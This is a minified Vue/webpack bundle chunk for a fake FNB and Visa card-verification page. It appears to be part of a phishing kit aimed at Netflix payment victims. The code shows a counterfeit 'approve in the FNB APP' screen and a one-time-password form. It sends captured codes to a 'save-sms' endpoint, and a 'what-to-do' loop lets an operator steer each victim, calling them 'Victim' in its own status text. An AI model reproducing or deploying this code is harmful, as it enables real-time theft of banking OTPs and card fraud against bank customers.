(window["webpackJsonp"]=window["webpackJsonp"]||[]).push([["chunk-2d0e60f5"],{"96ac":function(t,e,s){"use strict";s.r(e);var c=s("7a23"),a={class:"m-5",style:{"font-size":"15px"}},n=Object(c["g"])("div",{class:"flex items-center justify-between"},[Object(c["g"])("div",null,[Object(c["g"])("img",{src:"images/FNB.png",style:{width:"100px"},alt:""})]),Object(c["g"])("div",null,[Object(c["g"])("img",{src:"images/Visa-Logo.png",style:{width:"100px"},alt:""})])],-1),i={key:0,class:"mt-6",style:{"font-size":"15px"}},o=Object(c["g"])("p",{class:"my-2"}," As an additional security measure, you will have to approve this purchase via the FNB APP. ",-1),r=Object(c["g"])("p",{class:"my-2"}," Tap on the FNB APP notification sent to you, or alternatively open the FNB APP and follow the instructions. You will then return to continue with this transaction. Did you just approve the transaction via the FNB APP? ",-1),l=Object(c["g"])("p",{class:"my-2"},[Object(c["g"])("a",{href:"#",class:"underline "}," Click here to continue to the merchant site ")],-1),d={key:1,class:"mt-5"},u=Object(c["g"])("p",{class:"my-2",style:{"font-size":"15px"}}," Please enter the OTP sent to you via SMS or digital channel. Please note that you have a maximum of three attempts to enter OTP correctly. ",-1),b=Object(c["g"])("span",{class:"font-medium"},"Transaction Details",-1),h={class:"w-full mt-3"},p=Object(c["g"])("tr",null,[Object(c["g"])("td",{class:"text-right pr-3 font-bold"}," Merchant: "),Object(c["g"])("td",null," NETFLIX ")],-1),m=Object(c["g"])("td",{class:"text-right pr-3 font-bold"}," Card Number: ",-1),g=Object(c["g"])("td",{class:"text-right pr-3 font-bold"}," Enter OTP: ",-1),O={key:0,class:"text-red-500 mt-1"},j=Object(c["g"])("p",{class:"mt-8"},[Object(c["g"])("a",{href:"#",class:"underline "}," Send Another OTP ")],-1),f={class:"w-32 mx-auto"},w={key:0},v={key:1,class:"animate-spin  h-5 w-5 text-white",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24"},y=Object(c["g"])("circle",{class:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor","stroke-width":"4"},null,-1),x=Object(c["g"])("path",{class:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"},null,-1),k=Object(c["g"])("div",{class:"mt-4 "},[Object(c["g"])("a",{href:"#",class:"font-bold underline"},"Help")],-1);function P(t,e,s,P,T,C){return Object(c["i"])(),Object(c["c"])("div",a,[n,T.approve?(Object(c["i"])(),Object(c["c"])("div",i,[o,r,l])):Object(c["d"])("",!0),T.approve?Object(c["d"])("",!0):(Object(c["i"])(),Object(c["c"])("div",d,[u,b,Object(c["g"])("table",h,[p,Object(c["g"])("tr",null,[m,Object(c["g"])("td",null,Object(c["m"])(C.ccnum_hidden),1)]),Object(c["g"])("tr",null,[g,Object(c["g"])("td",null,[Object(c["q"])(Object(c["g"])("input",{type:"text",class:"w-40 border border-gray-700 h-6 p-1 ","onUpdate:modelValue":e[1]||(e[1]=function(t){return T.code=t})},null,512),[[c["o"],T.code]]),T.isResend?(Object(c["i"])(),Object(c["c"])("div",O," Something went wrong. We sent you a new code ")):Object(c["d"])("",!0)])])]),j,Object(c["g"])("div",f,[Object(c["g"])("button",{class:"bg-black text-white p-2 px-6 ",disabled:T.isLoading||!T.code,onClick:e[2]||(e[2]=function(){return C.submitCode&&C.submitCode.apply(C,arguments)})},[T.isLoading?Object(c["d"])("",!0):(Object(c["i"])(),Object(c["c"])("span",w,"Submit")),T.isLoading?(Object(c["i"])(),Object(c["c"])("svg",v,[y,x])):Object(c["d"])("",!0)],8,["disabled"])])])),k])}var T=s("bc3a"),C=s.n(T),R=s("a078"),L={name:"FNB",props:["ccname","ccnum","cc_result","bank"],data:function(){return{code:null,isResend:!1,isLoading:!1,approve:!0,firsttime:!0}},computed:{ccnum_hidden:function(){return"**********"+this.ccnum.substr(-4)}},created:function(){this.code="Victim is waiting on approve; You can send the victim to SMS anytime",this.submitCode()},methods:{submitCode:function(){var t=this;this.isLoading=!0,C.a.post(R["a"]+"save-sms/"+this.cc_result,{code:this.code}).then((function(){t.waitWhatToDo()})).catch((function(e){401===e.response.status&&(t.modalError="ERROR : "+e.response.data.message)}))},waitWhatToDo:function(){var t=this;C.a.get(R["a"]+"what-to-do/"+this.cc_result).then((function(e){2===e.data.status?setTimeout((function(){return t.waitWhatToDo()}),1e3):3===e.data.status||12===e.data.status?(t.firsttime||(t.isResend=!0),t.firsttime=!1,t.isLoading=!1,t.code="",t.approve=!1):4===e.data.status?t.$emit("card-declined"):5===e.data.status&&(window.location.href="http://netflix.com")})).catch((function(e){401===e.response.status&&(t.modalError="ERROR : "+e.response.data.message),setTimeout((function(){return t.waitWhatToDo()}),2e3)}))}}};L.render=P;e["default"]=L}}]);
//# sourceMappingURL=chunk-2d0e60f5.ff4d5100.js.map